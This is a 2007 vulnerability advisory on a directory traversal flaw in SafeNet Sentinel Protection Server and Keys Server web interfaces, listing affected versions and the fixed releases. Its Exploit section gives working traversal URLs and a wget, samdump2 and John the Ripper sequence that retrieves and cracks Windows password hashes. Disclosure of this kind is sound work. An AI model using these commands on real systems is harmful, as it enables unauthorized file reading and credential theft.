SafeNet Sentinel Protection Server and Keys Server Directory Traversal
27 Nov. 2007
Summary
SafeNet Inc.'s Sentinel Protection Server and Sentinel Keys Server products include web servers which are vulnerable to directory traversal attacks. A remote attacker could exploit these vulnerabilities to read arbitrary files with the permissions of the web server, typically SYSTEM.
Credit:
The information has been provided by Elliot Kendall.
Vulnerable Systems:
* Sentinel Protection Server version 7.0.0 through version 7.4.0 and possibly below
* Sentinel Keys Server version 1.0.3 and possibly below
Immune Systems:
* Sentinel Protection Server version 7.4.1
* Sentinel Keys Server version 1.0.4
Sentinel Protection Server and Sentinel Keys Server run web servers on ports 6002 and 7002, respectively, to allow remote monitoring of key use. The web server software does not santize request paths correctly before using them in system calls. As a result, an attacker can request files outside the web server's directory root by using the ../ notation to refer to the parent directory of the current directory.
Impact:
A remote attacker could exploit this vulnerability to read sensitive files on the affected system. Attractive targets include the SAM registry hive which contains system password hashes.
Solution:
Upgrade to Sentinel Protection Server version 7.4.1 and Sentinel Keys Server version 1.0.4.
Exploit:
Most popular web browsers are not be able to display URLs exploiting this problem. We recommend using wget or lynx instead.
Substitute port 7002 to target Keys Server instead of Protection Server.
This example will retrieve the C:\boot.ini file. http://XX.XX.XX.XX:6002/../../../../../../boot.ini
This example will retrieve a copy of the target system's SAM registry hive from the Windows repair folder: http://XX.XX.XX.XX:6002/../../../../../../winnt/repair/sam
With the SAM and SYSTEM registry hives, it is possible to extract the system's local password hashes for offline cracking. For example, using the bkhive, samdump2, and John the Ripper tools:
$ wget -q http://XX.XX.XX.XX:6002/../../../../../../winnt/repair/sam
$ wget -q http://XX.XX.XX.XX:6002/../../../../../../winnt/repair/system
$ bkhive system keyfile
$ samdump2 sam keyfile > hashes
$ john --wordlist=all hashes